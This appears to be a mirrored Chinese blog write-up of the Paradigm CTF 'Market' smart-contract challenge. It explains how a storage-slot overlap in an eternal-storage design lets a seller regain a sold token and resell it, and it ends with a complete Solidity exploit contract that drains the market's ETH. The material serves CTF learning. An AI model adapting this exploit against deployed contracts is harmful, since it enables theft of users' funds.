2

Paradigm CTF-Market

 3 years ago
source link: https://learnblockchain.cn/article/2798
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
Paradigm CTF-Market

合约中储存与计算分离的思路有什么风险呢?

See the source image

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993

终于看到了熟悉的汇编代码部分:happy:, 前一段时间一直在研究uniswap, compound之类的大型合约,业务逻辑都快给我绕晕了。今天看到Paradigm 的Market这道题,惊奇的发现它不需要与Uniswap或者Compound交互,顿时感动不已。😢😢😢😢

首先看下setup合约, 要解决该合约的要求是:让Market合约所有的ETH都消失。当部署好market合约后,market中的ETH数量为:

5+10+15+20=50 ether, 并且他调用了mintCollectibleFor函数

constructor() payable {
    require(msg.value == 50 ether);

    // deploy our contracts
    eternalStorage = EternalStorageAPI(address(new EternalStorage(address(this))));
    token = new CryptoCollectibles();

    eternalStorage.transferOwnership(address(token));
    token.setEternalStorage(eternalStorage);

    market = new CryptoCollectiblesMarket(token, 1 ether, 1000);
    token.setMinter(address(market), true);

    // mint 4 founders tokens
    uint tokenCost = 5 ether;
    for (uint i = 0; i < 4; i++) {
        market.mintCollectibleFor{value: tokenCost}(address(bytes20(keccak256(abi.encodePacked(address(this), i)))));
        tokenCost += 5 ether;
    }
}

function isSolved() external view returns (bool) {
    return address(market).balance == 0;
}

Market合约

下面我们简单看下CryptoCollectiblesMarket合约,分析下他的各个函数在干什么

函数名称 资金出入 要求 状态变化 buyCollectible(bytes32 tokenId)​ ETH in,NFT out tokenPrices[tokenId] > 0tokenOwner == address(this)msg.value == tokenPrices[tokenId]

sellCollectible(bytes32 tokenId) NFT in, ETH out tokenPrices[tokenId] > 0msg.sender == tokenOwnerapproved == address(this)

mintCollectible()

mintCollectibleFor(address who) ETH in, NFT out mintPrice >= minMintPrice tokenPrices[tokenId] = mintPrice;feeCollected += sentValue - mintPrice; withdrawFee() ETH out msg.sender == owner feeCollected = 0;

从上面可以看到,一个正常的调用逻辑如下:

mintCollectibleFor(someone) //给某人铸币,得到该币的tokenId,该币发送给某人
buyCollectible(tokenId)//通过ETH购买该币
sellCollectible(tokenId)//卖出该币得到ETH

并且发现我们买币或者卖币,在market合约中并没有状态变化,所以我们需要进一步调查,记录状态的部分在哪里。

CryptoCollectibles合约

我们可以看到CryptoCollectibles合约并不是一个ERC20合约,其并没有一个类似于map(address=>uint) balancemap(address=> map(address=>uint)) allowance的用于记录状态的全局变量,其合约内部只进行逻辑处理,状态记录都通过EternalStorage合约记录。实现了储存与计算的分离,便于后一步升级。😆

例如典型的transfer函数:他在验证完tokenId的所属后,就在eternalStorage合约里更新状态。所有的状态都储存在eternalStorage合约中。

function transfer(bytes32 tokenId, address to) external {
    require(msg.sender == eternalStorage.getOwner(tokenId), "transfer/not-owner");

    eternalStorage.updateOwner(tokenId, to);
    eternalStorage.updateApproval(tokenId, address(0x00));
}

EternalStorage合约

从上面的分析,我们可以看到CryptoCollectibles合约只进行了验证和逻辑判断,具体的状态存储都在EternalStorage合约中。故我们首先需要分析下EternalStorage合约中储存的数据结构。

struct TokenInfo {
    bytes32 displayName; //0 => bytes32 占据一个slot
    address owner;		//1 => address  占据一个slot
    address approved;	//2
    address metadata;	//3
}
mapping(bytes32 => TokenInfo) tokens;

可以看到它储存的数据结构是一个map,键是bytes32 tokenId, 值是一个结构体。则对于tokens[0].owner在全局变量中的位置是:

keccak256(abi.encode(0,0))+1 => tokens[0].owner
keccak256(abi.encode(1,0))+2 => tokens[1].approved

因为对于map或者动态数组类型,其大小并不可以预知,故其在EVM中的储存逻辑是通过keccak256哈希计算来找到值的位置,或者是数组的起始位置。对于map,其哈希计算方式是keccak256(abi.encode(key, slot)) slot是该map在EVM中的槽位。对于动态数组,其哈希计算方式是keccak256(slot), 对应该键位点的值是该动态数组的大小(size),动态数组的值将会依次在该键位后自增0x20排列。即keccak256(slot) => arr.length; keccak256(slot)+1 => arr[0]; keccak256(slot)+2 => arr[1];

对于结构体,其结构体内部所有的变量都会紧密打包,即abi.encodePacked. 即bytes16 和 bytes16的两个元素会被打包到同一个slot中,然后按照slot的顺序依次排列结构体的元素。

下面我们分析下EternalStorage合约的具体实现

方法 要求 状态 mint(bytes32,bytes32,address) msg.sender==owner sstore(tokenId, name)sstore(tokenId+1,tokenOwner) updateName(bytes32,bytes32) msg.sender==ownerormsg.sender==tokenOwner sstore(tokenId, name) updateOwner(bytes32,address) msg.sender==ownerormsg.sender==tokenOwner ssotre(tokenId+1, newOwner) updateApproval(bytes32,address) msg.sender==ownerormsg.sender==tokenOwner sstore(tokenId+2, newApproval) updateMetadata(bytes32,address) msg.sender==ownerormsg.sender==tokenOwner sstore(tokenId+3, newMetaData) getName(bytes32)

sload(tokenId) getOwner(bytes32)

sload(tokenId+1) getApproval(bytes32)

sload(tokenId+2) getMetadata(bytes32)

sload(tokenId+3) transferOwnership(address) msg.sender==owner sstore(0x01, newOwner) acceptOwnership() msg.sender==ssload(0x01) sstore(0x00, pendingOwner)sstore(0x01,0x00)

从上表中,我们可以看到凡是get系列的函数都不需要msg.sender==owner或者msg.sender==tokenOwner要求,但是都没有向EVM中写数据的操作。我们需要向EVM写数据,就需要满足msg.sender==owner 或者 msg.sender==tokenOwner的要求。

针对msg.sender==tokenOwner的要求,即要求ssload(tokenId+1)==msg.sender, 如果我们能够操纵tokenId的数值,让两个tokenId的结构体存在部分重叠,即让tokenId_1的slot_1刚好位于tokenId_0的slot_3位置处,即:

tokenId_0.name     
tokenId_0.owner	   
tokenId_0.approval      -  tokenId_1.name
tokenId_0.metadata      -  tokenId_1.owner
						-  tokenId_1.approval
						-  tokenId_1.metadata

这样我们就可以通过tokenId_2.metadata来设置tokenId_1.owner

问题的关键就在于如何操纵tokenId的值。

function mint(address tokenOwner) external returns (bytes32) {
    require(minters[msg.sender], "mint/not-minter");

    bytes32 tokenId = keccak256(abi.encodePacked(address(this), tokenIdSalt++));
    eternalStorage.mint(tokenId, "My First Collectible", tokenOwner);
    return tokenId;
}

从上图看,tokenId的计算是一个哈希值,直接通过mint方式得到的两个tokenId肯定是不会出现我们想要的重叠的。

故我们的逻辑是Mint一个token,sell给market,通过某种方式重新获得该token的所有权,再次sell给market。

这里的一个最大的漏洞,就在于sell一个token的时候,直接给出tokenId,然后用该tokenId作为从存储中取值的key获取整个tokenInfo. 因此我们可以虚构一个tokenId_1, 满足上面的关系。

tokenId_0.name     
tokenId_0.owner	   
tokenId_0.approval      -  tokenId_1.name
tokenId_0.metadata      -  tokenId_1.owner
						-  tokenId_1.approval			
						-  tokenId_1.metadata

故,整个调用逻辑是:

mintCollectibleFor(msg.sender) //给自己铸币,得到该币的tokenId
EternalStorageAPI.updateMetadata(tokenId_0,msg.sender) //修改token_0.metadata, 让它等于msg.sender
token.approve(token_0, address(market));
sellCollectible(tokenId_0)//卖出该token_0, tokenId为token_0
tokenId_1 = tokenId_0 + 2//计算token_1的tokenId为token_0+2
EternalStorageAPI.updateMetadata(tokenId_1,msg.sender) //修改token_1.metadata, 让它等于msg.sender
sellCollectible(tokenId_1)//卖出token_1
tokenId_2 = tokenId_1 + 2//计算token_2的tokenId为token_1+2

上面的思路有一个重大的问题是:sellCollectible(tokenId_1)函数中要求了require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");也就是说,必须要是token_0才可以sell,自己构造的token_1无法被sell。

故思路需要转换为:通过某种方式,重新将token_0再次sell一遍。

此时,token_0在经历如下操作后的状态变化为:

bytes32 token_0 = mintCollectibleFor(msg.sender) //铸币-token_0sell 前
cryptoCollectibles.approve(token_0, address(market))//approve
eternalStorage.updateMetadata(token_0,address(hacker))//updatemetadata
market.sellCollectible(token_0)//sell
bytes32 token_1 = bytes32(int256(token_0)+2) //token_1
eternalStorage.updateName(token_1, address(hacker)) //updateName
cryptoCollectibles.transferFrom(token_0, address(market), address(hacker))//transferFrom
market.sellCollectible(token_0)//sell again
字段 token_0sell前 token_0approval Update metadata Token_0 sell后 Token_1.name transferfrom name My First Collectible My First Collectible My First Collectible My First Collectible My First Collectible My First Collectible owner hacker hacker hacker market market hacker approval 0 market market 0 hacker hacker metadata 0 0 hacker hacker hacker hacker

EIP-20标准

ERC-20 token标准大家很熟悉,但是需要进一步去理解EIP-20中的两种转移token的方式:

transfer:

_value数量的代币转移到地址_to,并且必须触发Transfer事件。如果信息调用者的账户余额没有足够的代币来花费,该函数应该回退

注意 0值的转移必须被视为正常的转移,并引发`转移'事件。.

function transfer(address _to, uint256 _value) public returns (bool success)

transferFrom:

从地址_from向地址_to转移value数量的代币,并且必须触发Transfer事件。

transferFrom方法用于取款工作流,允许合约代表你转移代币。例如,这可用于允许合约代表你转移代币和/或以子货币收取费用。除非_from账户故意通过某种机制授权给消息的发送者,否则该函数应该回退。

注意 0值的转移必须被视为正常的转移,并触发 "转移 "事件。

也就是说,transferFrom函数让合约替代你成为转移token的操作员,合约将你名下的token转移给_to地址。在转移前,需要满足如下条件:即token的持有者通过某种方式授权了调用此函数的msg.sender, 可以是人,也可以是合约。

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)

approve- 授权

允许_spender从你的账户中多次取款,最多到_value的数额。如果这个函数被再次调用,它将用_value覆盖当前的允许值。

即用户向某个人或者某个合约授权,允许它不限定次数的从我的账户中转账,但累计总额最高为_value,并且不限定该msg.sender向谁转账。即规定了一个第三方人或者合约,最多从我的账户中能够转账出去的token数量,但并不限定它向谁转账。

注意。为了防止像这里描述的这里讨论的那样的攻击载体,客户应该确保在创建用户界面时,先将津贴设置为0,然后再为同一花费者设置其他值。虽然合同本身不应该强制执行,以允许向后兼容之前部署的合同。

function approve(address _spender, uint256 _value) public returns (bool success)

sellprice

这里还有一个问题是,目标是让market合约中的所有ETH都没有,故我们需要仔细构造一下sellprice. 我们结合代码看下sellprice 是如何计算的

function mintCollectibleFor(address who) public payable returns (bytes32) {
    uint sentValue = msg.value;
    uint mintPrice = sentValue * 10000 / (10000 + mintFeeBps);

    require(mintPrice >= minMintPrice, "mintCollectible/bad-value");

    bytes32 tokenId = cryptoCollectibles.mint(who);
    tokenPrices[tokenId] = mintPrice;
    feeCollected += sentValue - mintPrice;
    return tokenId;
}
mintFeeBps = 1000
minPrice = 1 ether

可以用一种比较取巧的方法来实现sellPrice,即比较sellPrice和balanceOf(address(market))的差值,然后转该差值量的ETH给market即可

解决方案:

pragma solidity 0.7.0;
import "./Setup.sol";

contract Hack{
	Setup public setup;
	EternalStorageAPI public eternalStorage;
    CryptoCollectibles public token;
    CryptoCollectiblesMarket public market;
	constructor(address _setup) payable {
		setup = Setup(_setup);
		eternalStorage = setup.eternalStorage();
		token = setup.token();
		market = setup.market();
		require(msg.value == 90 ether);
		bytes32 token_0 = market.mintCollectibleFor{value: 70 ether}(address(this));
		//修改token_0.metadata, 让它等于address(this)
		eternalStorage.updateMetadata(token_0,address(this));
		//approve token
		token.approve(token_0, address(market));
		market.sellCollectible(token_0);//卖出该token_0, tokenId为token_0
        //get token_1
        bytes32 token_1 = bytes32(uint256(token_0)+2);
        eternalStorage.updateName(token_1, bytes32(uint256(address(this)))); //updateName->approval
        token.transferFrom(token_0, address(market), address(this)); // transferFrom
        token.approve(token_0, address(market));
        //fix price
        uint tokenPrice = msg.value * 10000 / (10000 + 1000);
        uint missingBalance = tokenPrice - address(market).balance;
        market.mintCollectible{value:missingBalance}();//补偿缺少的ETH
        market.sellCollectible(token_0);//sellAgain
        require(setup.isSolved(),'setup/not solved');
	}
	
}

Recommend

  • 2
    • samczsun.com 3 years ago
    • Cache

    Paradigm CTF 2021 - swap

    Paradigm CTF 2021 - swap A guided walkthrough for swap, the hardest challenge in Paradigm CTF 2021 samczsun Apr 9, 2021 • 8 min read

  • 1
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm CTF-银行

    Paradigm CTF-银行 基于STEVE的博客,可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/

  • 1
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm CTF-StaticCall

    Paradigm CTF-StaticCall samczsun ...

  • 6
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm-CTF 代理合约漏洞

    这是Paradigm公司开放的夺旗系列之金库,题目也是由Samczsun出的。前段时间刚学习了代理合约,这道题目就会分析代理合约的漏洞,以及如何利用该漏洞来攻破该合约。 ...

  • 7
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm CTF-LOCKBOX

    Paradigm CTF-LOCKBOX 这是Paradigm CTF的一道题,整体来说难度不算特别大,与之前的STATIC CALL难度相似。😆这道题考察的知识点比较多,涉及到ABI编码,EIP-712等。可以看作是一个编码相关的大集合题目。 同样本文的参考连接如下:

  • 5
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm CTF- 银行家

    Paradigm CTF- 银行家 本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。 本文都是基于https://binarycake.ca/posts/p...

  • 6
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm CTF- BabyCrypto

    前段时间跟行业内人士聊天的时候,聊到了一个有趣的话题,即以太坊中私钥,公钥和地址分别是什么关系?以及ECDSA是如何工作的? 正好在做Paradigm的CTF中,有一道关于ecdsa的题目,故借此题目将ecdsa和私钥,公钥等简单梳理下。 本...

  • 2
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm CTF - JOP

    本题的核心思想跟之前做过的一道题目:Consensys CTF-02 栈溢出重定向利用的核心思想一致,即找到合约中的一个入口函数,通过该函数可以手动的构造一个栈。在手动构造的...

  • 4
    • learnblockchain.cn 3 years ago
    • Cache

    Paradigm CTF 2021 比赛环境

    Paradigm CTF 2021 比赛环境 安全 ...

  • 3
    • learnblockchain.cn 2 years ago
    • Cache

    Paradigm CTF - SWAP

    Paradigm CTF - SWAP 这大概是整个Paradigm CTF中难度最大的一道题,因为它同时考察两方面的内容,既考察你对於DEFI生态的理解,也考察你对於ABI编码和Solidity函数中的内存的理解。难度超乎想象 ⚱️ 题目分析: 这道题目还是尝试着自...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK